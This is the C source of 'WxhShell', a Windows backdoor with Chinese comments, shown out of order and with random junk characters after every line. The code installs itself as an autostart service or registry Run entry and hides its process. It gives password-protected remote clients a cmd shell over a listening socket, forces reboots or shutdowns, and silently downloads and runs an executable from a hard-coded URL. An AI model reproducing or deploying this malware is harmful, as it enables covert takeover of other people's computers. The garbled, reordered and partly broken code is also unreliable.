    if(Boot(SHUTDOWN)) reNf?7G+m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !n` |k  
    else { ]%y>l j?Y  
    closesocket(wsh); P%H  Dz  
    ExitThread(0); E3l*_b0  
    } :o .+<_ &  
    break; Fi67"*gE  
    } V.z8 ]iG  
  // 获取shell /s~S\dG  
  case 's': { ^!d0a bA  
    CmdShell(wsh); f*B-aj#  
    closesocket(wsh); KN[;z2i  
    ExitThread(0); } c k <R  
    break; o{! :N>(  
  } BV`\6SM~  
  // 退出 b0YEIV<$  
  case 'x': { QF\nf_X  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~!5=o{wy  
    CloseIt(wsh); as!a!1  
    break; Qj;{Z*l%+  
    } 3V?x&qlP>  
  // 离开 pm,xGo2  
  case 'q': { |5tZ*$nGa  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~bx ev/$d  
    closesocket(wsh); XWnP(C9?  
    WSACleanup(); *$W&jfW  
    exit(1); Wz s=BNm9  
    break; @$T$hMl  
        } } P ,"  
  } m|B=&#  
  } %Qlc?Wl:  
+IWH7qRtp  
  // 提示信息 1QG q;6\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r O$pj~!|Q  
} kuy?n-1g  
  } {]<c6*gQ  
$VvgzjrH  
  return; !T][c~l  
} 9+^)?JUYll  
jRg gj`o  
// shell模块句柄 GQn:lu3j:  
int CmdShell(SOCKET sock) 3X`9&0:j%  
{ $TXxhd 6  
STARTUPINFO si; {:K_=IRZ  
ZeroMemory(&si,sizeof(si)); ,UMr_ e{|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Oh*~+/u}q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; fx5S2%f^  
PROCESS_INFORMATION ProcessInfo; q2vD)r  
char cmdline[]="cmd"; jU j\<aW  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); FN-/~Su~J  
  return 0; 0%rDDB  
} fd&Fn=!  
y9 {7+]  
// 自身启动模式 G+8)a$?v  
int StartFromService(void) 'K?h6?#  
{ Swhz\/u9  
typedef struct CUI3^;&S  
{ (XO=W+<'  
  DWORD ExitStatus; l#KcmOz  
  DWORD PebBaseAddress; 5wx_ol}2  
  DWORD AffinityMask; X3:z=X&Zd  
  DWORD BasePriority; $*#^C;7O  
  ULONG UniqueProcessId; j#5a&Z  
  ULONG InheritedFromUniqueProcessId; ?$f.[;mh  
}   PROCESS_BASIC_INFORMATION; bkV<ZUW|;  
 TUcFx_  
PROCNTQSIP NtQueryInformationProcess; 2X@9o4_4q  
)j36Y =r3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Vke<; k-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; UA6id|G  
=GX5T(P8k  
  HANDLE             hProcess; jq,M1  
  PROCESS_BASIC_INFORMATION pbi; U#[&(  
3x+lf4"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I`V<Sh^Qd  
  if(NULL == hInst ) return 0; %;'~TtW5  
og}Ri!^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ="voJgvw  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Qo#]Lo> \g  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); t eY@) F  
_re# b?  
  if (!NtQueryInformationProcess) return 0; ( eTrqI`  
GTP'js  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %10ONe}  
  if(!hProcess) return 0; # rkq ?:Q  
GTdoUSUq  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; PILpWhjL$9  
[CJ<$R !  
  CloseHandle(hProcess); JsJP%'^/R  
:0J`4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >C|pY6  
if(hProcess==NULL) return 0; &i5@4,p y9  
cpdESc9W  
HMODULE hMod; (P|[< Sd  
char procName[255]; S^rf^%  
unsigned long cbNeeded; <\&9Odqc  
#Z%" ?RJ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); VQ9A/DH/  
~>CvZ 7K  
  CloseHandle(hProcess); 7:jLZ!mgi  
}DhqzKl  
if(strstr(procName,"services")) return 1; // 以服务启动 S1QMS  
ot}erC2~  
  return 0; // 注册表启动 .t "VsY|  
} P<PZ4hNx  
[^qT?se{  
// 主模块 I"Zp^j  
int StartWxhshell(LPSTR lpCmdLine) hF2e--  
{ =[( 34#  
  SOCKET wsl; ,2FK$: M\  
BOOL val=TRUE; X1@DI_  
  int port=0; F&B\ X  
  struct sockaddr_in door; CHgip&(.F  
#V>R#Oh}  
  if(wscfg.ws_autoins) Install(); y[_k/.1  
RAW;ze*"  
port=atoi(lpCmdLine); vIV|y>;g  
X-["{  
if(port<=0) port=wscfg.ws_port; sYKx 3[V/  
:33@y%>L  
  WSADATA data; tV)CDA&Z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ',EI[ ]+  
QH'*MY  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   fL*7u\m:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); '`jGr+K,wU  
  door.sin_family = AF_INET; L`1 ITz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); x%mRDm~-  
  door.sin_port = htons(port); xC)bW,%  
Q"&Mr+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R"t#dG]1t  
closesocket(wsl); KF rsXf  
return 1; C~En0G1  
} qAjtvc2  
~]KdsT(=_  
  if(listen(wsl,2) == INVALID_SOCKET) { im>(^{{r&  
closesocket(wsl); si0}b~t  
return 1; 7H Har'=T  
} x=*&#; Y|  
  Wxhshell(wsl); #NM)  
  WSACleanup(); ;<+efYmyc  
Z)rW>I  
return 0; *)K 5<}V  
~5HkDtI)  
} tT]@yo|?e/  
#T)Gkc"{  
// 以NT服务方式启动 Zl>SeTjB-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )qxt<  
{ ^+(5[z  
DWORD   status = 0; +#IUn  
  DWORD   specificError = 0xfffffff; m212 gc0u  
>G`p T#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #cY[c1cNv  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; JH?ohA  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O nXo0PV/(  
  serviceStatus.dwWin32ExitCode     = 0; //@6w;P  
  serviceStatus.dwServiceSpecificExitCode = 0; j7!u;K^c  
  serviceStatus.dwCheckPoint       = 0; S`-I-VS=L  
  serviceStatus.dwWaitHint       = 0; vj?{={Y  
kQ+y9@=/g  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); h"[B zX  
  if (hServiceStatusHandle==0) return; w{tA{{  
;.h /D4  
status = GetLastError(); D.Ke  
  if (status!=NO_ERROR) @<W` w  
{ HI5NWdfRl  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; MHwfJ{"zo  
    serviceStatus.dwCheckPoint       = 0; _ZRmD\_t  
    serviceStatus.dwWaitHint       = 0; W?Z>g"  
    serviceStatus.dwWin32ExitCode     = status; I_1?J* b4k  
    serviceStatus.dwServiceSpecificExitCode = specificError; \;7U:Y$v  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \Z5Wp5az},  
    return; S}C[  
  } S?v/diK ]J  
JC'3x9_<z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4X=VNORlU0  
  serviceStatus.dwCheckPoint       = 0; Fo3*PcUv  
  serviceStatus.dwWaitHint       = 0; 2|k$Vfz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); FG${w.e<  
} 8~U ^G[!  
~gX1n9_n  
// 处理NT服务事件,比如:启动、停止 uzp\V 39  
VOID WINAPI NTServiceHandler(DWORD fdwControl) kF1$  
{ RLf-Rdx/  
switch(fdwControl) Oti;wf G7o  
{ D5"5`w=C  
case SERVICE_CONTROL_STOP: ]t<=a6 <P  
  serviceStatus.dwWin32ExitCode = 0; |5flvkid  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [P}Bq6;p  
  serviceStatus.dwCheckPoint   = 0; Zv yZ5UA  
  serviceStatus.dwWaitHint     = 0; K+Him] b  
  { +"84.PZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A^aY-V  
  } /3)\^Pof  
  return; F w{:shC  
case SERVICE_CONTROL_PAUSE: 7#JnQ| ]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8i;1JA  
  break; :s_o'8z7L  
case SERVICE_CONTROL_CONTINUE: C-edQWbcP  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; NFVu~t  
  break; 1tbA-+  
case SERVICE_CONTROL_INTERROGATE: =*fq5v  
  break; \zU<o~gs  
}; O n0!>-b,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +VVn@=&?  
} huqtk4u  
KY&Lv^1_|  
// 标准应用程序主函数 dg.1{6HM  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9o,Eq x4J  
{ 0$Tb5+H5  
aUL7 ]'q}  
// 获取操作系统版本 09 McUR@  
OsIsNt=GetOsVer(); =b66H]h?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); uWx<J3~q.  
9ug4p']  
  // 从命令行安装 ((Av3{05H&  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]$#bNt/p  
>4@w|7lS  
  // 下载执行文件 5voL@w>  
if(wscfg.ws_downexe) { 1Z0Qkd(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) H%vgPQ8  
  WinExec(wscfg.ws_filenam,SW_HIDE); p7AsNqEp  
} a6zWg7 PN  
b B#QIXY/L  
if(!OsIsNt) { b81^756  
// 如果时win9x,隐藏进程并且设置为注册表启动 Wx}-H/t'2  
HideProc(); .hckZx /  
StartWxhshell(lpCmdLine); 4wv0~T$;x  
} 8nZ_.  
else O!>#q4&]  
  if(StartFromService()) 7/M[T\c  
  // 以服务方式启动 AxEdQRGk  
  StartServiceCtrlDispatcher(DispatchTable); ?h1g$SBxk  
else <c5g-*V:  
  // 普通方式启动 MMO/vJC  
  StartWxhshell(lpCmdLine); G5|nt#>  
+PBl3  
return 0; 4-HBXG9#/  
} !d 4DTo  
DI(XB6  
w15a~\Qu  
o5Rv xGN  
=========================================== qsEFf(9G  
.Erv\lv*  
6W:]'L4!  
Uo9@Y{<B  
g?iZ RM  
<iH   
" ]2ab~ gr  
f/z]kfgw  
#include <stdio.h> @-0mE_$[  
#include <string.h> o+{7"Na8[  
#include <windows.h> _s<BXj  
#include <winsock2.h> >bI\pJ  
#include <winsvc.h> mYfHBW:  
#include <urlmon.h> -1hCi !  
N,8.W"fV  
#pragma comment (lib, "Ws2_32.lib") 9*~";{O.Oa  
#pragma comment (lib, "urlmon.lib") /?j kVy*"  
nxEC6Vh'  
#define MAX_USER   100 // 最大客户端连接数 B^]Gv7-  
#define BUF_SOCK   200 // sock buffer 3=?,Dv0P  
#define KEY_BUFF   255 // 输入 buffer EqBTN07dZS  
"5ISKuL  
#define REBOOT     0   // 重启 Myn51pczl  
#define SHUTDOWN   1   // 关机 Kc@Sw{JR#7  
E:uTjXt  
#define DEF_PORT   5000 // 监听端口 ,jW a&7  
F_ -Xx"  
#define REG_LEN     16   // 注册表键长度 ml)\RL  
#define SVC_LEN     80   // NT服务名长度 9:3`LY3wW  
=eS?`|  
// 从dll定义API *q\>DE=7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4M0p:Ey '  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B@z ng2[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Hj1?c,mo4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); X>pCkGE  
S|KUh|=Q  
// wxhshell配置信息 *2.h*y'u  
struct WSCFG { p1.3)=T  
  int ws_port;         // 监听端口 Gf+X<a  
  char ws_passstr[REG_LEN]; // 口令 LOG>x!  
  int ws_autoins;       // 安装标记, 1=yes 0=no K:VZ#U(_  
  char ws_regname[REG_LEN]; // 注册表键名 B>I :KGkV  
  char ws_svcname[REG_LEN]; // 服务名 r}(mjC"o  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;;C2t&(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 b5.]}>]t  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7 _"G@h  
int ws_downexe;       // 下载执行标记, 1=yes 0=no N9*QQ0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" nWK7*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 VV 54$a  
f<oU" WM  
}; oxUBlye  
X(.[rC>  
// default Wxhshell configuration \"L0d1DK)  
struct WSCFG wscfg={DEF_PORT, 1D!MXYgm1b  
    "xuhuanlingzhe", !&.-{ _$  
    1, `}L{gssv  
    "Wxhshell", W4P+?c>'2  
    "Wxhshell", V[Sj+&e&  
            "WxhShell Service", ly_8p63-  
    "Wrsky Windows CmdShell Service", mfffOG  
    "Please Input Your Password: ", 4#:Eq=(W  
  1, !)`*e>]x  
  "http://www.wrsky.com/wxhshell.exe", j/NX  
  "Wxhshell.exe" ~4twI*f  
    }; zMO#CZ t  
4b, +;  
// 消息定义模块 62Tel4u  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h qhX  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \~Ml<3Zd:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ro `Xs.X  
char *msg_ws_ext="\n\rExit."; m6}_kzFz  
char *msg_ws_end="\n\rQuit."; s%>8y\MaK  
char *msg_ws_boot="\n\rReboot..."; Br{(sL0e  
char *msg_ws_poff="\n\rShutdown..."; qzO5p=}  
char *msg_ws_down="\n\rSave to "; F ~7TE91C  
nZ#u#V  
char *msg_ws_err="\n\rErr!"; ^ZRZ0:rZ  
char *msg_ws_ok="\n\rOK!"; Y%|dM/a`  
5j0 Ib>\  
char ExeFile[MAX_PATH]; 0V^I.S/q  
int nUser = 0; -yBj7F|  
HANDLE handles[MAX_USER]; {^:NII]  
int OsIsNt; vfXNN F  
[ gZR}E  
SERVICE_STATUS       serviceStatus; Rh$+9w  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -XK;B--c  
8K8jz9.s  
// 函数声明 EgbH{)u  
int Install(void); S;D]ym  
int Uninstall(void); `CBXz!v!O  
int DownloadFile(char *sURL, SOCKET wsh); Xh3b=i|K  
int Boot(int flag); ~_F;>N~  
void HideProc(void); oe3=QE  
int GetOsVer(void); WU@_aw[  
int Wxhshell(SOCKET wsl); 2m*/$GZ  
void TalkWithClient(void *cs); ]:']  
int CmdShell(SOCKET sock); xirq$sEl  
int StartFromService(void); 0M&~;`W}  
int StartWxhshell(LPSTR lpCmdLine); ^K_FGE0ec  
X=lsuKREZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); PBFpV8P,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #`K{vj  
Uq{$j5p8  
// 数据结构和表定义 5ug|crX  
SERVICE_TABLE_ENTRY DispatchTable[] = Dsc0 ;7~6  
{ 8t) g fSG  
{wscfg.ws_svcname, NTServiceMain}, !y>up+cRjl  
{NULL, NULL} 9k6/D.Dz  
}; ".N{v1  
K=}Eupn=  
// 自我安装 t.VVE:A^%  
int Install(void) ?~.:C'  
{ ]\oT({$6B  
  char svExeFile[MAX_PATH]; Doq}UWp  
  HKEY key; xO<%lq`  
  strcpy(svExeFile,ExeFile); ,oSn<$%/q  
~gOZ\jm}  
// 如果是win9x系统,修改注册表设为自启动 Sl'$w4s   
if(!OsIsNt) { ;3xi.^=B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~RwoktO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *QI Yq  
  RegCloseKey(key); 7/k7V)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pFZ$z?lI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BS,EW  
  RegCloseKey(key); BafNF Pc  
  return 0; 6A|XB3  
    } Ea'jAIFPpO  
  } ?TIi0;h  
} 'irwecd8  
else { *:"60fkoU  
5[r}'08b  
// 如果是NT以上系统,安装为系统服务 ,O:p`"3`0=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =h +SZXe<r  
if (schSCManager!=0) m\/)m]wR  
{ {Oq8A.daJ  
  SC_HANDLE schService = CreateService e{Vn{.i,5  
  (  "^BA5  
  schSCManager, v6Y[_1  
  wscfg.ws_svcname, Kb;Pd!Q  
  wscfg.ws_svcdisp, X&5N 89  
  SERVICE_ALL_ACCESS, NZADHO@0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B]}gfVO  
  SERVICE_AUTO_START, C.LAr~P  
  SERVICE_ERROR_NORMAL, o"L8n(\  
  svExeFile, F$|:'#KN  
  NULL, "Ms{c=XPK  
  NULL, PVdN)tG5  
  NULL, '@w'(}3!3R  
  NULL, ?p 4iXHE  
  NULL '+j;g  
  ); w9RBT(u  
  if (schService!=0) f<nK;  
  { i O?f&u  
  CloseServiceHandle(schService); #902x*Z'c"  
  CloseServiceHandle(schSCManager); !O}e)t  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^;( dF<?'r  
  strcat(svExeFile,wscfg.ws_svcname); x%goyXK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { YRf$?xa  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3PL0bejaT7  
  RegCloseKey(key); +j+ v(-  
  return 0; m$(OQ,E  
    } u>agVB4\F  
  } C2=PGq  
  CloseServiceHandle(schSCManager); -'d`(G"  
} $FX$nY  
} !TY0;is  
jOGiT|A  
return 1; hu"-dT;4]  
} 77aUuP7Iw  
vfx{:3fO  
// 自我卸载 Ex*{iJ;\  
int Uninstall(void) ,3MHZPJ?k]  
{ !Y7$cU &  
  HKEY key; ,WnZ^R/n  
:AqtPV'  
if(!OsIsNt) { KD+&5=Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (e!Yu#-  
  RegDeleteValue(key,wscfg.ws_regname); (V'w5&f(L  
  RegCloseKey(key); *14:^neoI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xw_$1 S  
  RegDeleteValue(key,wscfg.ws_regname); |*h{GX.(  
  RegCloseKey(key); /0|1xHs  
  return 0; 7^M$u\a)U  
  } eX}aa0  
} AS~!YR  
} hy%5LV<(  
else { f2SJ4"X  
0o6o<ggi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); iCh 8e>+  
if (schSCManager!=0) U#iW1jPE2  
{ y\-iGKz{0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6|3 X*Orn  
  if (schService!=0) 2|B@s3a  
  { /%p ~  
  if(DeleteService(schService)!=0) { D/4]r@M2c  
  CloseServiceHandle(schService); OQ 4h8,  
  CloseServiceHandle(schSCManager); <6,,:=#  
  return 0; Pw7uxN`  
  } P(Zj}tGN  
  CloseServiceHandle(schService); \{~CO{II  
  } di9OQ*6a7  
  CloseServiceHandle(schSCManager); K{@xZ)  
} `D=`xSEYl  
} ,1~zMzw^  
g`C8ouy  
return 1; I2SH j6 -  
} 2g?q4e,  
5M5vxJ)Lh  
// 从指定url下载文件 Lz-|M?(  
int DownloadFile(char *sURL, SOCKET wsh) !io1~GpKS  
{ 8tna<Hx  
  HRESULT hr; gV h&c 4  
char seps[]= "/"; _j0xL{&&  
char *token; A8ef=ljM?  
char *file; }m5()@Q}a  
char myURL[MAX_PATH]; (pP.*`JRv  
char myFILE[MAX_PATH]; kZrc^  
c$BH`" <*  
strcpy(myURL,sURL); 8JF<SQ  
  token=strtok(myURL,seps); /cUu]#h  
  while(token!=NULL) f5un7,m  
  { z#P`m,~t0  
    file=token; >#l: ]T  
  token=strtok(NULL,seps); :i0;jWc b  
  } En\q. 3 5  
.oTS7rYw  
GetCurrentDirectory(MAX_PATH,myFILE); yJ0 %6],^g  
strcat(myFILE, "\\"); dtfOFag4_  
strcat(myFILE, file); :g|NE\z`)/  
  send(wsh,myFILE,strlen(myFILE),0); mT UoFXX[  
send(wsh,"...",3,0); ScD E)r  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <%m1+%mA.  
  if(hr==S_OK) 7[mfI?*m  
return 0; j&Xx{ 4v  
else '@M"#`#0  
return 1; Q 3^h  
wF%RM$  
} "$o>_+U  
S^==$TT  
// 系统电源模块 lA1  
int Boot(int flag) +Ss3Ph  
{ chKEGosbF  
  HANDLE hToken; IvY3iRq6  
  TOKEN_PRIVILEGES tkp; -\;0gnf{J  
"M /Cl|z  
  if(OsIsNt) { ?nbu`K6T  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Yo' Y-h#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); h!|Uj  
    tkp.PrivilegeCount = 1; Cj`~ntMN  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !QbuOvw  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -LUZ7,!/>o  
if(flag==REBOOT) { jn(!6\n"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) W}3%BWn  
  return 0; vxC];nCC#  
} /VufL+q1  
else { _xm<zy{`S  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d4^x,hzV  
  return 0; /^k%sG@?  
} YG:^gi  
  } rTVv6:L  
  else { DC1.f(cdR  
if(flag==REBOOT) { c^pQitPv  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Eri007?D  
  return 0; PLz+%L;{  
} ~]d9 J  
else { !m9hL>5vR  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2YY4 XHQS  
  return 0; 3F!)7  
} O< /b]<[  
} :A @f[Y'9  
\#Jq%nd  
return 1; myN2G?>;  
} _D?/$D7u#%  
0|j44e }  
// win9x进程隐藏模块 `5wiXsNjLY  
void HideProc(void) 6fI2y4yEz  
{ <8kCmuGlk  
 1hi, &h  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); j n SZ@u  
  if ( hKernel != NULL ) G7+{O7  
  { $/g`{O I]K  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); I(7iD. ^:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p!=8Pq.  
    FreeLibrary(hKernel); uM\\(g}  
  } pKj:)6t"  
ILH[q>  
return; /<$|tp\Rc  
} cQThpgha  
_xi &%F/  
// 获取操作系统版本 U_gkO;s%  
int GetOsVer(void) ~Y*.cGA  
{ hrzxc4,W  
  OSVERSIONINFO winfo; : fYfXm  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >.od(Fh{l|  
  GetVersionEx(&winfo); +MaEet  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h>[ qXz  
  return 1; DA>nYj-s  
  else Nb_Glf  
  return 0; Vraz}JV  
} $E^sA|KcT  
-X%t wy=  
// 客户端句柄模块 y $uq`FW  
int Wxhshell(SOCKET wsl) -@#],s7  
{ noa+h<vGb  
  SOCKET wsh; +`Nu0y!rj  
  struct sockaddr_in client; 9IG<9uj  
  DWORD myID; 04v ~ K  
&Fuk+Cu{  
  while(nUser<MAX_USER) Fec4#}|  
{ uTrzC+\aU  
  int nSize=sizeof(client); Ev [?5R  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); r^rk@W;[  
  if(wsh==INVALID_SOCKET) return 1; "oZ_1qi<  
ZTfW_0   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); s%Ph  
if(handles[nUser]==0) Wrp+B[ {r\  
  closesocket(wsh); yW7>5r  
else ,d_rK\J  
  nUser++; \vV]fX   
  } 4K`b?{){+a  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mA,{E-T  
Bv3B|D&+  
  return 0; iRG6Cw2  
} G}NqVbZ9]  
knV*,   
// 关闭 socket -OD&x%L*{3  
void CloseIt(SOCKET wsh) Y*#TfWv:  
{ T5T[$%]6  
closesocket(wsh); k6z]"[yu  
nUser--; B]gyj  
ExitThread(0); 9X33{  
} j%]sym  
=c&.I}^1L  
// 客户端请求句柄 7!Im|7Ty  
void TalkWithClient(void *cs) w}$;2g0=a<  
{ ?-`&YfF  
z/QYy)_j  
  SOCKET wsh=(SOCKET)cs; a;~< iB;3"  
  char pwd[SVC_LEN]; $*_79F2zN  
  char cmd[KEY_BUFF]; ;tA$ x!5]  
char chr[1]; -Ks)1w>l  
int i,j; xy&*s\=:  
6iEg]FI  
  while (nUser < MAX_USER) { <)sL8G9Y  
^4\0, >  
if(wscfg.ws_passstr) { aAn p7\7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L 9cXgd  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U-,s/VQ?  
  //ZeroMemory(pwd,KEY_BUFF); rqm":N8@  
      i=0; /!p}H'jl  
  while(i<SVC_LEN) { 7,alZ"%W  
.i|nn[H &  
  // 设置超时 [4dX[  
  fd_set FdRead; /"~UGn]R  
  struct timeval TimeOut; -3b_}by  
  FD_ZERO(&FdRead); o :4#Ak S  
  FD_SET(wsh,&FdRead); l4iklg3  
  TimeOut.tv_sec=8; psz0q|  
  TimeOut.tv_usec=0; 2 1+[9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); aZtM _  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); C,LosAd  
r/P}j4)b7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9GTp};Kg  
  pwd=chr[0]; , \RR@~u'  
  if(chr[0]==0xd || chr[0]==0xa) { rp[3?-fk  
  pwd=0; U. $Th_  
  break; &=:3/;c  
  } 'W("s  
  i++; V 7ZGT  
    } ?FR-a Xx  
D$NpyF.87  
  // 如果是非法用户,关闭 socket "oF)u1_?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~0?B  
} HGd.meQ  
uq54+zC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3Z#WAhfS:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &"J;  
fYh<S  
while(1) { +#<Z/  
@A*>lUo  
  ZeroMemory(cmd,KEY_BUFF); A%^7D.j  
)1 HWD]>4  
      // 自动支持客户端 telnet标准   %so{'rQl  
  j=0; ]T2Nr[vu  
  while(j<KEY_BUFF) { 'ShK7j$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0!$y]Gr  
  cmd[j]=chr[0]; iXvrZofE  
  if(chr[0]==0xa || chr[0]==0xd) { ;G3?Sa7+  
  cmd[j]=0; Y| ch ;  
  break; #5'& |<  
  } '!,(G3  
  j++; MHye!T6fO\  
    } @' ;.$  
"VU/Ucb7  
  // 下载文件 ~<_WYSzS  
  if(strstr(cmd,"http://")) { Np ru  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); urCTP.F  
  if(DownloadFile(cmd,wsh)) jF/S2Ty2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); lmL$0{Yr  
  else q(~|roKA(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :g^ mg-8  
  } mdEl CC0  
  else { G43r85LO  
5/7(>ivn  
